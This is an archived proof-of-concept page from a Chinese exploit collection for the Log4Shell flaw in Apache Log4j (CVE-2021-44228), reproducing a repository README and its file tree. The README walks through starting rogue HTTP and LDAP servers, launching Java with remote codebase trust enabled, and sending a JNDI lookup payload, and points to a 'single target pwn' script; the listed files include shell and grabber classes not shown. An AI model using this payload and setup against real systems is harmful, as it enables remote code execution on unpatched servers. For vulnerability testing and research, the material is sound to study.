POC详情: 1ac9aeba69322662397bdd44521ab90cb9b94f7f

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
CVE-2021-44228
介绍
# log4j2-prosecutor

## Motivation
<p>This fundamental vulnerability was reported by [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) and patched by [this article. (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)</p>
<p>However, the logging library for java called log4j2 had (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), which allowed access to protocols such as LDAP, which allowed code injection in older java versions.</p>
<p>Patched versions of java can prevent code injection, but `JNDILookup` makes request to ldap server, which can lead to IP leaks.</p>
<p>The solution is to update **Java** and **log4j2** versions.</p>

## Running
0. Install requirements
```
cd http-server && npm install && cd ../ldap-server && npm install
```
1. run `http-server` and `ldap-server` both
```
cd http-server && node index.js &
cd ldap-server && node index.js
```
2. Compile Main.java
```bash
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>
```
3. Start jvm with parameters
```bash
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
```
4. Send payload to any parameters as the payload
(In minecraft, just chatting this will work if exploit's working.)
```
${jndi:ldap://127.0.0.1:3001/}
```
5. cleanup
```
NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done
```

## Scripts
```
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py
```

## References
- https://github.com/apache/logging-log4j2/pull/608
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/NCSC-NL/log4shell
- https://github.com/ilsubyeega/log4j2-exploits/
- https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
- https://www.blumira.com/analysis-log4shell-local-trigger/ (todo)

## License [GPL3]
See License in LICENSE
文件快照

[4.0K] /data/pocs/1ac9aeba69322662397bdd44521ab90cb9b94f7f ├── [ 70] cleanup.sh ├── [ 170] EchoShell.java ├── [2.3K] Grabber.java ├── [4.0K] http-server │   ├── [ 349] index.js │   ├── [ 54] package.json │   └── [ 695] package-lock.json ├── [ 312] java-single-compile.sh ├── [4.0K] ldap-server │   ├── [ 522] index.js │   ├── [ 47] package.json │   └── [8.0K] package-lock.json ├── [ 34K] LICENSE ├── [4.0K] log4j-client │   ├── [ 114] a.sh │   ├── [ 512] build.gradle │   ├── [4.0K] gradle │   │   └── [4.0K] wrapper │   │   ├── [ 58K] gradle-wrapper.jar │   │   └── [ 202] gradle-wrapper.properties │   ├── [7.9K] gradlew │   ├── [2.6K] gradlew.bat │   ├── [ 35] settings.gradle │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] win │   │   └── [4.0K] roto │   │   └── [4.0K] client │   │   └── [2.1K] Main.java │   └── [4.0K] resources │   └── [ 666] log4j2.xml ├── [4.0K] node_modules │   ├── [4.0K] abstract-logging │   │   ├── [ 235] index.js │   │   ├── [ 642] package.json │   │   ├── [1.0K] Readme.md │   │   └── [ 353] test.js │   ├── [4.0K] asn1 │   │   ├── [1.7K] Jenkinsfile │   │   ├── [4.0K] lib │   │   │   ├── [4.0K] ber │   │   │   │   ├── [ 240] errors.js │   │   │   │   ├── [ 469] index.js │   │   │   │   ├── [5.5K] reader.js │   │   │   │   ├── [ 638] types.js │   │   │   │   └── [7.5K] writer.js │   │   │   └── [ 320] index.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 782] package.json │   │   └── [1.2K] README.md │   ├── [4.0K] assert-plus │   │   ├── [5.3K] assert.js │   │   ├── [ 217] AUTHORS │   │   ├── [ 428] CHANGES.md │   │   ├── [ 553] package.json │   │   └── [4.7K] README.md │   ├── [4.0K] backoff │   │   ├── [2.4K] CHANGES.md │   │   ├── [1.1K] index.js │   │   ├── [4.0K] lib │   │   │   ├── [2.1K] backoff.js │   │   │   ├── [6.0K] function_call.js │   │   │   └── [4.0K] strategy │   │   │   ├── [1.4K] exponential.js │   │   │   ├── [ 855] fibonacci.js │   │   │   └── [2.7K] strategy.js │   │   ├── [1.0K] LICENSE │   │   ├── [ 837] package.json │   │   ├── [ 11K] README.md │   │   └── [4.0K] tests │   │   ├── [2.7K] api.js │   │   ├── [4.9K] backoff.js │   │   ├── [2.9K] backoff_strategy.js │   │   ├── [1.8K] exponential_backoff_strategy.js │   │   ├── [1.3K] fibonacci_backoff_strategy.js │   │   └── [ 13K] function_call.js │   ├── [4.0K] core-util-is │   │   ├── [ 16K] float.patch │   │   ├── [4.0K] lib │   │   │   └── [3.0K] util.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 651] package.json │   │   ├── [ 67] README.md │   │   └── [2.1K] test.js │   ├── [4.0K] extsprintf │   │   ├── [ 165] CHANGES.md │   │   ├── [ 536] CONTRIBUTING.md │   │   ├── [6.8K] jsl.node.conf │   │   ├── [4.0K] lib │   │   │   └── [5.4K] extsprintf.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 622] Makefile │   │   ├── [8.2K] Makefile.targ │   │   ├── [ 281] package.json │   │   ├── [1.3K] README.md │   │   └── [4.0K] test │   │   ├── [2.8K] tst.basic.js │   │   └── [2.4K] tst.invalid.js │   ├── [4.0K] ldap-filter │   │   ├── [1.2K] CHANGES.md │   │   ├── [4.0K] lib │   │   │   ├── [1.5K] and_filter.js │   │   │   ├── [1.2K] approx_filter.js │   │   │   ├── [2.5K] equality_filter.js │   │   │   ├── [2.1K] ext_filter.js │   │   │   ├── [1.4K] ge_filter.js │   │   │   ├── [3.8K] helpers.js │   │   │   ├── [7.0K] index.js │   │   │   ├── [1.4K] le_filter.js │   │   │   ├── [1.1K] not_filter.js │   │   │   ├── [1.4K] or_filter.js │   │   │   ├── [1.1K] presence_filter.js │   │   │   └── [2.1K] substr_filter.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 787] package.json │   │   └── [ 162] README.md │   ├── [4.0K] ldapjs │   │   ├── [3.3K] CHANGES.md │   │   ├── [ 156] docker-compose.yml │   │   ├── [4.0K] docs │   │   │   ├── [4.0K] branding │   │   │   │   ├── [4.0K] public │   │   │   │   │   ├── [ 11] CNAME │   │   │   │   │   └── [4.0K] media │   │   │   │   │   ├── [4.0K] css │   │   │   │   │   │   └── [3.6K] style.css │   │   │   │   │   └── [4.0K] img │   │   │   │   │   └── [3.2K] logo.svg │   │   │   │   └── [ 992] template.html │   │   │   ├── [ 16K] client.md │   │   │   ├── [3.4K] dn.md │   │   │   ├── [2.1K] errors.md │   │   │   ├── [ 14K] examples.md │   │   │   ├── [8.6K] filters.md │   │   │   ├── [ 24K] guide.md │   │   │   ├── [2.7K] index.md │   │   │   └── [ 16K] server.md │   │   ├── [4.0K] examples │   │   │   ├── [1.5K] cluster-threading.js │   │   │   ├── [1.5K] cluster-threading-net-server.js │   │   │   ├── [4.1K] inmemory.js │   │   │   └── [ 501] snoopldap.d │   │   ├── [4.0K] lib │   │   │   ├── [1.3K] assert.js │   │   │   ├── [3.7K] attribute.js │   │   │   ├── [5.2K] change.js │   │   │   ├── [4.0K] client │   │   │   │   ├── [ 37K] client.js │   │   │   │   ├── [ 184] constants.js │   │   │   │   ├── [1.0K] index.js │   │   │   │   ├── [4.0K] message-tracker │   │   │   │   │   ├── [ 680] ge-window.js │   │   │   │   │   ├── [ 785] id-generator.js │   │   │   │   │   ├── [4.2K] index.js │   │   │   │   │   └── [1.4K] purge-abandoned.js │   │   │   │   ├── [4.0K] request-queue │   │   │   │   │   ├── [1.1K] enqueue.js │   │   │   │   │   ├── [ 750] flush.js │   │   │   │   │   ├── [1000] index.js │   │   │   │   │   └── [ 289] purge.js │   │   │   │   └── [5.1K] search_pager.js │   │   │   ├── [4.0K] controls │   │   │   │   ├── [1.3K] control.js │   │   │   │   ├── [2.0K] entry_change_notification_control.js │   │   │   │   ├── [2.6K] index.js │   │   │   │   ├── [2.0K] paged_results_control.js │   │   │   │   ├── [1.8K] persistent_search_control.js │   │   │   │   ├── [2.9K] server_side_sorting_request_control.js │   │   │   │   ├── [2.7K] server_side_sorting_response_control.js │   │   │   │   ├── [2.6K] virtual_list_view_request_control.js │   │   │   │   └── [3.0K] virtual_list_view_response_control.js │   │   │   ├── [1.7K] corked_emitter.js │   │   │   ├── [ 11K] dn.js │   │   │   ├── [3.2K] dtrace.js │   │   │   ├── [4.0K] errors │   │   │   │   ├── [1.3K] codes.js │   │   │   │   └── [3.7K] index.js │   │   │   ├── [4.0K] filters │   │   │   │   ├── [ 526] and_filter.js │   │   │   │   ├── [ 751] approx_filter.js │   │   │   │   ├── [1.5K] equality_filter.js │   │   │   │   ├── [ 951] escape.js │   │   │   │   ├── [1.4K] ext_filter.js │   │   │   │   ├── [1.3K] filter.js │   │   │   │   ├── [ 799] ge_filter.js │   │   │   │   ├── [5.4K] index.js │   │   │   │   ├── [ 775] le_filter.js │   │   │   │   ├── [ 478] not_filter.js │   │   │   │   ├── [ 519] or_filter.js │   │   │   │   ├── [ 794] presence_filter.js │   │   │   │   └── [1.7K] substr_filter.js │   │   │   ├── [1.8K] index.js │   │   │   ├── [ 127] logger.js │   │   │   ├── [4.0K] messages │   │   │   │   ├── [1.7K] abandon_request.js │   │   │   │   ├── [ 738] abandon_response.js │   │   │   │   ├── [3.6K] add_request.js │   │   │   │   ├── [ 471] add_response.js │   │   │   │   ├── [1.8K] bind_request.js │   │   │   │   ├── [ 475] bind_response.js │   │   │   │   ├── [1.6K] compare_request.js │   │   │   │   ├── [ 746] compare_response.js │   │   │   │   ├── [1.3K] del_request.js │   │   │   │   ├── [ 483] del_response.js │   │   │   │   ├── [3.0K] ext_request.js │   │   │   │   ├── [2.1K] ext_response.js │   │   │   │   ├── [2.1K] index.js │   │   │   │   ├── [2.4K] message.js │   │   │   │   ├── [2.1K] moddn_request.js │   │   │   │   ├── [ 489] moddn_response.js │   │   │   │   ├── [1.8K] modify_request.js │   │   │   │   ├── [ 483] modify_response.js │   │   │   │   ├── [5.1K] parser.js │   │   │   │   ├── [2.9K] result.js │   │   │   │   ├── [4.3K] search_entry.js │   │   │   │   ├── [2.0K] search_reference.js │   │   │   │   ├── [4.0K] search_request.js │   │   │   │   ├── [4.1K] search_response.js │   │   │   │   ├── [1.2K] unbind_request.js │   │   │   │   └── [1.6K] unbind_response.js │   │   │   ├── [3.0K] persistent_search.js │   │   │   ├── [1.1K] protocol.js │   │   │   ├── [ 24K] server.js │   │   │   └── [1.9K] url.js │   │   ├── [1.0K] LICENSE │   │   ├── [1.6K] package.json │   │   ├── [1.2K] README.md │   │   ├── [4.0K] scripts │   │   │   └── [3.1K] build-docs.js │   │   ├── [4.0K] test │   │   │   ├── [3.2K] attribute.test.js │   │   │   ├── [5.4K] change.test.js │   │   │   ├── [ 45K] client.test.js │   │   │   ├── [4.0K] controls │   │   │   │   ├── [1.1K] control.test.js │   │   │   │   ├── [1.6K] entry_change_notification_control.test.js │   │   │   │   ├── [1.4K] paged_results_control.test.js │   │   │   │   ├── [2.4K] persistent_search_control.test.js │   │   │   │   ├── [2.1K] server_side_sorting_control_request.test.js │   │   │   │   ├── [2.3K] server_side_sorting_control_response.test.js │   │   │   │   ├── [2.1K] virtual_list_view_request_control.test.js │   │   │   │   └── [1.6K] virtual_list_view_response_control.test.js │   │   │   ├── [3.2K] corked_emitter.test.js │   │   │   ├── [6.6K] dn.test.js │   │   │   ├── [1.2K] errors.test.js │   │   │   ├── [4.0K] filters │   │   │   │   ├── [1.1K] and.test.js │   │   │   │   ├── [1.7K] approx.test.js │   │   │   │   ├── [3.5K] eq.test.js │   │   │   │   ├── [1.9K] ext.test.js │   │   │   │   ├── [2.4K] ge.test.js │   │   │   │   ├── [2.3K] le.test.js │   │   │   │   ├── [ 833] not.test.js │   │   │   │   ├── [1.1K] or.test.js │   │   │   │   ├── [3.1K] parse.test.js │   │   │   │   ├── [1.6K] presence.test.js │   │   │   │   └── [3.3K] substr.test.js │   │   │   ├── [4.0K] imgs │   │   │   │   └── [ 740] test.jpg │   │   │   ├── [3.7K] laundry.test.js │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] client │   │   │   │   ├── [4.0K] message-tracker │   │   │   │   │   ├── [1.3K] ge-window.test.js │   │   │   │   │   ├── [ 542] id-generator.test.js │   │   │   │   │   ├── [4.9K] index.test.js │   │   │   │   │   └── [1.6K] purge-abandoned.test.js │   │   │   │   └── [4.0K] request-queue │   │   │   │   ├── [1.8K] enqueue.test.js │   │   │   │   ├── [ 869] flush.test.js │   │   │   │   └── [ 408] purge.test.js │   │   │   ├── [4.0K] messages │   │   │   │   ├── [3.0K] add_request.test.js │   │   │   │   ├── [1.1K] add_response.test.js │   │   │   │   ├── [1.3K] bind_request.test.js │   │   │   │   ├── [1.2K] bind_response.test.js │   │   │   │   ├── [1.4K] compare_request.test.js │   │   │   │   ├── [1.2K] compare_response.test.js │   │   │   │   ├── [1000] del_request.test.js │   │   │   │   ├── [1.2K] del_response.test.js │   │   │   │   ├── [3.2K] ext_request.test.js │   │   │   │   ├── [1.6K] ext_response.test.js │   │   │   │   ├── [1.4K] moddn_request.test.js │   │   │   │   ├── [1.2K] moddn_response.test.js │   │   │   │   ├── [2.2K] modify_request.test.js │   │   │   │   ├── [1.2K] modify_response.test.js │   │   │   │   ├── [1.0K] parser.test.js │   │   │   │   ├── [2.3K] search_entry.test.js │   │   │   │   ├── [2.4K] search_request.test.js │   │   │   │   ├── [1.2K] search_response.test.js │   │   │   │   └── [ 705] unbind_request.test.js │   │   │   ├── [ 12K] server.test.js │   │   │   ├── [1.5K] url.test.js │   │   │   └── [ 367] utils.js │   │   └── [4.0K] test-integration │   │   └── [4.0K] client │   │   ├── [ 504] connect.test.js │   │   └── [2.7K] issues.test.js │   ├── [4.0K] once │   │   ├── [ 765] LICENSE │   │   ├── [ 935] once.js │   │   ├── [ 574] package.json │   │   └── [1.7K] README.md │   ├── [4.0K] precond │   │   ├── [ 123] index.js │   │   ├── [4.0K] lib │   │   │   ├── [2.7K] checks.js │   │   │   └── [ 632] errors.js │   │   ├── [ 700] package.json │   │   └── [5.9K] README.md │   ├── [4.0K] safer-buffer │   │   ├── [1.4K] dangerous.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 822] package.json │   │   ├── [ 12K] Porting-Buffer.md │   │   ├── [8.1K] Readme.md │   │   ├── [2.1K] safer.js │   │   └── [ 15K] tests.js │   ├── [4.0K] vasync │   │   ├── [ 938] CHANGES.md │   │   ├── [4.0K] examples │   │   │   ├── [ 552] barrier-basic.js │   │   │   ├── [ 602] barrier-readdir.js │   │   │   ├── [ 378] foreach-parallel.js │   │   │   ├── [ 378] foreach-pipeline.js │   │   │   ├── [ 384] nofail.js │   │   │   ├── [ 513] parallel.js │   │   │   ├── [ 522] pipeline.js │   │   │   ├── [ 441] queue-serializer.js │   │   │   ├── [ 529] queue-stat.js │   │   │   ├── [ 357] waterfall.js │   │   │   └── [ 409] whilst.js │   │   ├── [2.4K] Jenkinsfile │   │   ├── [6.8K] jsl.node.conf │   │   ├── [4.0K] lib │   │   │   └── [ 23K] vasync.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 525] Makefile │   │   ├── [8.3K] Makefile.targ │   │   ├── [4.0K] node_modules │   │   │   └── [4.0K] verror │   │   │   ├── [ 505] CHANGES.md │   │   │   ├── [ 770] CONTRIBUTING.md │   │   │   ├── [4.0K] lib │   │   │   │   └── [ 12K] verror.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 406] package.json │   │   │   └── [ 21K] README.md │   │   ├── [ 571] package.json │   │   ├── [ 24K] README.md │   │   └── [4.0K] tests │   │   ├── [3.4K] compat.js │   │   ├── [2.4K] compat_tryEach.js │   │   ├── [5.2K] filter.js │   │   ├── [ 475] issue-21.js │   │   ├── [4.0K] pipeline.js │   │   ├── [2.6K] queue_concurrency.js │   │   ├── [5.4K] queue.js │   │   ├── [4.7K] waterfall.js │   │   └── [2.4K] whilst.js │   ├── [4.0K] verror │   │   ├── [ 548] CHANGES.md │   │   ├── [ 537] CONTRIBUTING.md │   │   ├── [4.0K] lib │   │   │   └── [ 12K] verror.js │   │   ├── [1.1K] LICENSE │   │   ├── [ 499] package.json │   │   └── [ 21K] README.md │   └── [4.0K] wrappy │   ├── [ 765] LICENSE │   ├── [ 606] package.json │   ├── [ 685] README.md │   └── [ 905] wrappy.js ├── [ 7] npm-requirements.txt ├── [ 51] package.json ├── [8.8K] package-lock.json ├── [ 9] python-requirements.txt ├── [2.4K] README.md ├── [ 87] run.sh ├── [4.0K] scripts │   └── [4.0K] single-pwn │   ├── [ 462] __main__.py │   └── [1.4K] pwn.py └── [ 250] test.sh 73 directories, 312 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。